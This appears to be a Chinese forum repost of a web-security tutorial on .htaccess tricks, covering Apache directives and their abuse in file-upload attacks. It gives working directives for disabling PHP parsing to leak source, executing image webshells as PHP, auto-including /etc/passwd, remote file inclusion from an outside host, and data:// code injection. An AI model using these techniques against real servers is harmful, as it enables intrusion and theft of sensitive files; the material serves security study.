搜索

[18557] 2021-05-04_Web安全｜.htaccess的奇淫技巧

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-05-04_Web安全｜.htaccess的奇淫技巧 W e b 安 全 ｜ . h t a c c e s s 的 奇 淫 技 巧 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 5 - 0 4 . h t a c c e s s 基 本 概 念 基 本 概 念 . h t a c c e s s   文 件 是 A p a c h e 中 有 一 种 特 殊 的 文 件 ， 其 提 供 了 针 对 目 录 改 变 配 置 的 方 法 ， 即 在 一 个 特 定 的 文 档 目 录 中 放 置 一 个 包 含 一 条 或 多 条 指 令 的 文 件 ， 以 作 用 于 此 目 录 及 其 所 有 子 目 录 。 作 为 用 户 ， 所 能 使 用 的 命 令 受 到 限 制 。 管 理 员 可 以 通 过   A p a c h e   的 A l l o w O v e r r i d e   指 令 来 设 置 。 . h t a c c e s s   中 有     单 行 注 释 符 ， 且 支 持     拼 接 上 下 两 行 。 作 用 范 围 作 用 范 围 . h t a c c e s s   文 件 中 的 配 置 指 令 作 用 于   . h t a c c e s s   文 件 所 在 的 目 录 及 其 所 有 子 目 录 目 录 及 其 所 有 子 目 录 ， 但 是 很 重 要 的 、 需 要 注 意 的 是 ， 其 上 级 目 录 也 可 能 会 有   . h t a c c e s s   文 件 ， 而 指 令 是 按 查 找 顺 序 依 次 生 效 的 ， 所 以 一 个 特 定 目 录 下 的   . h t a c c e s s   文 件 中 的 指 令 可 能 会 覆 盖 其 上 级 目 录 中 的   . h t a c c e s s   文 件 中 的 指 令 ， 即 子 目 录 中 的 指 令 会 覆 盖 父 目 录 或 者 主 配 置 文 件 中 的 指 令 。 配 置 文 件 配 置 文 件 启 动   . h t a c c e s s ， 需 要 在 服 务 器 的 主 配 置 文 件 中 将   A l l o w O v e r r i d e   设 置 为   A l l ， 例 如 在   a p a c h e 2 . c o n f   中 ： #
i m a g e - 2 0 2 1 0 4 2 5 1 4 5 9 3 2 1 9 1 也 可 以 通 过   A c c e s s F i l e N a m e   将   . h t a c c e s s   修 改 为 其 他 名 ： . h t a c c e s s   常 见 指 令 常 见 指 令 . h t a c c e s s   可 以 实 现 网 页 3 0 1 重 定 向 、 自 定 义 4 0 4 错 误 页 面 、 改 变 文 件 扩 展 名 、 允 许 / 阻 止 特 定 的 用 户 或 者 目 录 的 访 问 、 禁 止 目 录 列 表 、 配 置 默 认 文 档 等 功 能 。 这 里 我 们 主 要 讲 解 几 种 常 利 用 的 指 令 。 详 情 请 看 官 方 文 档 ： h t t p : / / w w w . h t a c c e s s - g u i d e . c o m / S e t H a n d l e r S e t H a n d l e r   指 令 可 以 强 制 所 有 匹 配 的 文 件 被 一 个 指 定 的 处 理 器 处 理 。 指 令 可 以 强 制 所 有 匹 配 的 文 件 被 一 个 指 定 的 处 理 器 处 理 。 • 用 法 ： • 示 例   1 ： 此 时 当 前 目 录 及 其 子 目 录 下 所 有 文 件 都 会 被 当 做   p h p   解 析 。 • 示 例   2 ： A l l o w O v e r r i d e     A l l         #   启 动 . h t a c c e s s 文 件 的 使 用 A c c e s s F i l e N a m e     . c o n f i g         #   将 . h t a c c e s s 修 改 为 . c o n f i g S e t H a n d l e r   h a n d l e r - n a m e | N o n e S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p
开 启   A p a c h e   的 服 务 器 状 态 信 息 （ s e r v e r - s t a t u s   是   A p a c h e   自 带 一 个 查 看   A p a c h e   状 态 的 功 能 模 块 ） ， 可 以 查 看 所 有 访 问 本 站 的 记 录 ： i m a g e - 2 0 2 1 0 4 2 5 1 5 0 1 0 7 0 1 0 访 问 任 意 不 存 在 的 文 件 ， 加 参 数     来 实 现 每 隔   5 s   自 动 刷 新 。 A d d H a n d l e r A d d H a n d l e r   指 令 可 以 实 现 在 文 件 扩 展 名 与 特 定 的 处 理 器 之 间 建 立 映 射 。 指 令 可 以 实 现 在 文 件 扩 展 名 与 特 定 的 处 理 器 之 间 建 立 映 射 。 • 用 法 ： • 示 例 ： 即 将 扩 展 名 为   . x x x   的 文 件 作 为   C G I   脚 本 来 处 理 。 A d d T y p e A d d T y p e   指 令 可 以 将 给 定 的 文 件 扩 展 名 映 射 到 指 定 的 内 容 类 型 。 指 令 可 以 将 给 定 的 文 件 扩 展 名 映 射 到 指 定 的 内 容 类 型 。 • 用 法 ： • 示 例   1 ： S e t H a n d l e r   s e r v e r - s t a t u s ? r e f r e s h = 5 A d d H a n d l e r   h a n d l e r - n a m e   e x t e n s i v e   [ e x t e n s i v e ]   . . . A d d H a n d l e r   c g i - s c r i p t   . x x x A d d T y p e   m e d i a - t y p e   e x t e n s i v e   [ e x t e n s i v e ]   . . .
此 时 将 会 把   g i f   为 后 缀 的 文 件 当 做   p h p   文 件 解 析 。 • 示 例   2 ： 此 时 将 会 把   . p n g   . j p g   . g i f   多 个 后 缀 的 文 件 当 做   p h p   解 析 。 p h p _ v a l u e 当 使 用   P H P   作 为   A p a c h e   模 块 时 ， 可 以 用   A p a c h e   的 配 置 文 件 （ 例 如   h t t p d . c o n f ） 或   . h t a c c e s s   文 件 中 的 指 令 来 修 改   P H P   的 配 置 设 定 。 但 是 需 要 有 开 启   A l l o w O v e r r i d e   O p t i o n s   或   A l l o w O v e r r i d e   A l l   权 限 才 可 以 。 p h p _ v a l u e   指 令 用 来 设 定 指 定 的 指 令 用 来 设 定 指 定 的   P H P   的 配 置 值 。 的 配 置 值 。 要 清 除 先 前 设 定 的 值 ， 把   v a l u e   设 为   n o n e 。 但 是   p h p _ v a l u e   不 能 用 来 设 定 布 尔 值 ， 如 果 要 设 定 布 尔 值 的 话 应 该 用   p h p _ f l a g 。 • 用 法 ： 但 是 并 不 是 所 有 的   P H P   配 置 都 可 以 用   p h p _ v a l u e   来 设 定 ， 如 下 查 看 配 置 可 被 设 定 范 围 ： i m a g e - 2 0 2 0 1 0 1 8 1 2 5 7 0 7 4 1 3 如 上 图 可 知   . h t a c c e s s   的   p h p _ v a l u e   只 能 用 于   P H P _ I N I _ A L L   或   P H P _ I N I _ P E R D I R   类 型 的 指 令 。 • 示 例 ： 设 置 访 问 一 个   P H P   文 件 时 ， 在 该 文 件 解 析 之 前 会 先 自 动 包 含 并 解 析   i m a g e s . p n g   文 件 。 p h p _ f l a g p h p _ f l a g   指 令 用 来 设 定 布 尔 值 类 型 的 指 令 用 来 设 定 布 尔 值 类 型 的   P H P   配 置 选 项 。 配 置 选 项 。 • 用 法 ： A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . g i f A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   p n g   j p g   g i f p h p _ v a l u e   n a m e   v a l u e p h p _ v a l u e   a u t o _ p r e p e n d _ f i l e   i m a g e s . p n g
一 样 的 ， p h p _ f l a g   可 以 设 定 的 配 置 也 是 有 范 围 的 ， 如 下 查 看 配 置 可 被 设 定 范 围 ： i m a g e - 2 0 2 0 1 0 1 8 1 3 1 2 0 7 2 5 9 • 实 例 将   e n g i n e   设 置 为   0 ， 即 在 本 目 录 和 子 目 录 中 关 闭   P H P   解 析 ， 可 以 造 成 源 码 泄 露 。 . h t a c c e s s   的 常 见 利 用 的 常 见 利 用 源 码 泄 露 源 码 泄 露 我 们 可 以 通 过   . h t a c c e s s   文 件 的   p h p _ f l a g   指 令 对   P H P   的   e n g i n e   配 置 选 项 进 行 设 定 ， 当 把   e n g i n e   的 值 设 为   o f f （ 或   0 ） 时 可 以 禁 用 一 个 本 目 录 和 子 目 录 中 的   P H P   解 析 ， 此 时 将 会 造 成 源 码 泄 露 ： p h p _ f l a g   n a m e   o n | o f f p h p _ f l a g   e n g i n e   0
i m a g e - 2 0 2 0 1 0 1 8 1 3 1 2 0 7 2 5 9 这 里 在 谷 歌 浏 览 器 访 问 会 直 接 显 示 源 码 （ 用 其 他 浏 览 器 访 问 会 显 示 空 白 ， 还 需 查 看 源 码 ， 才 可 看 到 泄 露 的 源 码 ） ： i m a g e - 2 0 2 1 0 4 2 5 1 5 5 7 3 9 1 2 5 图 片 马 解 析 图 片 马 解 析 我 们 知 道 ， 在 文 件 上 传 漏 洞 中 经 常 遇 到 上 传 图 片 马 的 情 况 ， 如 果 目 标 环 境 开 启 了   . h t a c c e s s   并 且 上 传 的 黑 名 单 没 有 限 制 . h t a c c e s s   文 件 的 话 ， 我 们 便 可 以 先 上 传   . h t a c c e s s   文 件 ， 对 目 标 环 境 的 目 录 进 行 相 应 的 配 置 ， 然 后 再 上 传 图 片 ， 使 图 片 的   P H P 恶 意 代 码 得 以 被 直 接 解 析 执 行 。 此 时 ， 常 用 的 的 两 个   . h t a c c e s s   指 令 如 下 ： • S e t H a n d l e r   指 令 我 们 可 以 使 用   S e t H a n d l e r   指 令 强 制 将 所 有 匹 配 的 文 件 被   P H P   处 理 器 处 理 并 解 析 ： p h p _ f l a g   e n g i n e   0
• A d d T y p e   指 令 也 可 以 使 用   A d d T y p e   指 令 将 给 定 的 文 件 扩 展 名 映 射 到   P H P   的 内 容 类 型 ： 这 两 种 配 置 都 可 以 使 我 们 上 传 的 非   P H P   类 型 的   W e b s h e l l   被 当 做   P H P   直 接 解 析 ： i m a g e - 2 0 2 1 0 4 2 5 1 5 0 7 4 3 3 8 5 文 件 包 含 文 件 包 含 本 地 文 件 包 含 本 地 文 件 包 含 在 本 目 录 或 子 目 录 中 有 可 解 析 的   P H P   文 件 时 ， 可 以 通 过   p h p _ v a l u e   来 设 置   a u t o _ p r e p e n d _ f i l e   或 者   a u t o _ a p p e n d _ f i l e   配 置 选 项 来 让 所 有 的   P H P   文 件 自 动 包 含 一 些 敏 感 文 件 或 恶 意 文 件 （ 如 W e b S h e l l ） ， 来 触 发 文 件 包 含 。 下 面   . h t a c c e s s   分 别 通 过 这 两 个 配 置 选 项 来 包 含   / e t c / p a s s w d ， 并 访 问 同 目 录 下 的   i n d e x . p h p 文 件 。 • a u t o _ p r e p e n d _ f i l e • a u t o _ a p p e n d _ f i l e 这 两 个 配 置 选 项 用 于 设 置 访 问 一 个   P H P   文 件 时 ， 在 该   P H P   文 件 解 析 之 前 会 先 自 动 包 含 并 解 析 的 文 件 。 如 下 图 当 我 们 访 问 i n d e x . p h p   时 ， 便 会 自 动 将   / e t c / p a s s w d   包 含 进 来 ： #   将 i m a g e s . p n g   当 做   p h p   执 行 < F i l e s M a t c h   " i m a g e s . p n g " >         S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p < / F i l e s M a t c h > #   将   . j p g   当 做   p h p   文 件 解 析 A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . p n g p h p _ v a l u e   a u t o _ p r e p e n d _ f i l e   / e t c / p a s s w d p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   / e t c / p a s s w d
i m a g e - 2 0 2 1 0 4 2 5 1 5 2 7 5 5 9 4 0 在 实 际 的 文 件 上 传 利 用 中 ， 如 果 目 标 环 境 的 当 前 目 录 中 存 在 至 少 一 个   P H P   文 件 且 上 传 黑 名 单 没 有 限 制   . h t a c c e s s   文 件 的 话 ， 我 们 便 可 以 上 传 包 含 以 上 指 令 的   . h t a c c e s s   文 件 ， 将 我 们 需 要 读 取 的 敏 感 文 件 包 含 进 来 并 读 取 。 同 理 ， 我 们 也 可 以 让   i n d e x . p h p   文 件 包 含 一 个 含 有   W e b s h e l l   的 文 件 来   G e t s h e l l ， 可 用 于 图 片 马 的 解 析 ： i m a g e - 2 0 2 1 0 4 2 5 1 5 3 3 4 5 8 6 8 远 程 文 件 包 含 远 程 文 件 包 含 P H P   的   a l l o w _ u r l _ i n c l u d e   配 置 选 项 这 个 选 项 默 认 是 关 闭 的 ， 如 果 开 启 的 话 就 可 以 进 行 远 程 包 含 。 因 为   a l l o w _ u r l _ i n c l u d e   的 配 置 p h p _ v a l u e   a u t o _ p r e p e n d _ f i l e   i m a g e s . p n g 或 : p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   i m a g e s . p n g
范 围 为   P H P _ I N I _ S Y S T E M ， 所 以 无 法 利 用   p h p _ f l a g   指 令 在   . h t a c c e s s   文 件 中 开 启 。 这 里 为 了 演 示 ， 就 先 在   p h p . i n i   中 设 置 a l l o w _ u r l _ i n c l u d e   为   O n 。 . h t a c c e s s   文 件 中 的 设 置 为 ： 远 程 主 机 上 的 p h p i n f o . t x t 中 的 内 容 为 ： 这 样 ， 最 终 目 标 主 机 上 的 p h p 文 件 都 会 包 含 这 个 远 程 主 机 上 的   p h p i n f o . t x t   并 解 析 执 行 ： i m a g e - 2 0 2 1 0 4 2 5 1 5 4 7 2 1 0 2 7 任 意 代 码 执 行 任 意 代 码 执 行 通 过 通 过   P H P   伪 协 议 伪 协 议 这 里 主 要 用 的 还 是   a u t o _ p r e p e n d _ f i l e   或   a u t o _ a p p e n d _ f i l e   这 两 个 配 置 项 。 条 件 ： • a l l o w _ u r l _ f o p e n   为   O n • a l l o w _ u r l _ i n c l u d e   为   O n • 目 标 环 境 的 当 前 目 录 中 存 在 至 少 一 个   P H P   文 件 p h p _ v a l u e   a u t o _ p r e p e n d _ f i l e   h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 8 1 / p h p i n f o . t x t 或 : p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 8 1 / p h p i n f o . t x t < ? p h p   p h p i n f o ( ) ; ? > p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   d a t a : / / t e x t / p l a i n ; b a s e 6 4 , P D 9 w a H A g c G h w a W 5 m b y g p O z 8 + 或 : p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   d a t a : / / t e x t / p l i a n , % 3 c % 3 f p h p + p h p i n f o ( ) % 3 b % 3 f % 3 e / /   如 果 不 使 用 b a s e 6 4 加 密 则 注 意 需 要 u r l 编 码
i m a g e - 2 0 2 1 0 4 2 5 1 6 0 8 3 1 0 8 2 通 过 解 析 通 过 解 析   . h t a c c e s s   文 件 文 件 • 方 法 一 ： 通 过 包 含   . h t a c c e s s   自 身 即 让 所 有 的   P H P   文 件 都 包 含   . h t a c c e s s   文 件 自 身 ： i m a g e - 2 0 2 1 0 4 2 5 1 6 1 1 5 6 3 6 1 • 方 法 二 ： 直 接 将   . h t a c c e s s   文 件 当 做   P H P 文 件 处 理 这 种 方 法 适 合 目 标 环 境 当 前 目 录 或 子 目 录 下 没 有   P H P   文 件 的 情 况 下 。 p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   . h t a c c e s s # < ? p h p   p h p i n f o ( ) ; ? >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理